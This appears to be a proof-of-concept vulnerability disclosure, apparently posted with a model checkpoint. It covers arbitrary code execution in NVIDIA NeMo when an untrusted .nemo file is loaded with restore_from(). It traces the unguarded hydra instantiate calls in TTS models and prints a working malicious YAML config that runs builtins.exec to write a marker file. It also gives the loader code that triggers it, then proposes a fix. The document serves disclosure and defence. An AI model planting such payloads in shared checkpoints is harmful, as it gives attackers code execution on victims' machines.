Views
No views yet
malicious_vocoder.nemo that demonstrates arbitrary code execution when an
untrusted NVIDIA NeMo .nemo checkpoint is loaded with the standard
restore_from() API.PWNED_NEMO_HF.txt into your OS temp directory. Do not
load it unless you understand exactly what it does.nemo_toolkit 2.7.3 (latest) and main (2.8.0). No OSV/GHSA
advisory covers 2.7.x..nemo file is a tar archive containing model_config.yaml. On
restore_from(), NeMo loads that untrusted YAML and constructs the model.
Several TTS/vocoder __init__ methods then call hydra.utils.instantiate(self._cfg.<subkey>)
directly on sub-configs taken verbatim from the YAML. instantiate() resolves
and calls the _target_ with attacker-supplied _args_, so a sub-config
like preprocessor: {_target_: builtins.exec, _args_: ["<python>"]} runs
arbitrary code at load time. These raw calls bypass NeMo's safe_instantiate
allow-list (the CVE-2026-24159 hardening), which only guards the
from_config_dict _target_ branch — not the model __init__ path.nemo/core/connectors/save_restore_connector.py — OmegaConf.load(model_config.yaml) (untrusted)… — calling_cls.from_config_dict(config=conf, trainer=trainer)nemo/core/classes/common.py:589 from_config_dict — a normal model config (no top-level _target_) hits the else branch and constructs cls(cfg=config), running the model __init__ with the untrusted config (only the _target_ / cls+params branches route through guarded safe_instantiate).nemo/collections/tts/models/waveglow.py:49
self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-listinstantiate is from hydra.utils import instantiate (waveglow.py:17).hydra.utils.instantiate executes the attacker _target_ → RCE.instantiate(self._cfg.*) sink in: tacotron2.py:113-115,
two_stages.py:126/131, spectrogram_enhancer.py:276, plus univnet.py,
vits.py, radtts.py, mixer_tts.py (all from hydra.utils import instantiate).
A second, independent vector is the legacy target else-branch in
common.py:614 (import_class_by_path(config["target"]) → imported_cls(cfg=config)),
also unguarded.model_config.yaml (inside the .nemo)1sigma: 1.0
2preprocessor:
3 _target_: builtins.exec
4 _args_:
5 - |
6 import os, tempfile
7 open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
8 print("[PWNED] code ran inside WaveGlowModel.restore_from()")
9waveglow: {}pip install nemo_toolkit[tts] huggingface_hub1from huggingface_hub import hf_hub_download
2from nemo.collections.tts.models import WaveGlowModel
3
4path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
5WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs[PWNED] … banner prints and PWNED_NEMO_HF.txt appears in your
temp dir, before restore_from errors out on the placeholder weights —
proving the code runs at load time..nemo checkpoints are routinely distributed via the Hugging Face Hub and
NVIDIA NGC; restore_from is the standard loading API. A victim loading an
attacker's TTS/vocoder .nemo — a normal, trusted-looking action — gets
arbitrary code execution in their process.
CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (~8.8 High).safe_instantiate (or run
_validate_config_targets_recursive before every
hydra.utils.instantiate(self._cfg.*) in nemo/collections/tts/models/*), and
guard the legacy target branch in from_config_dict (common.py:605-625).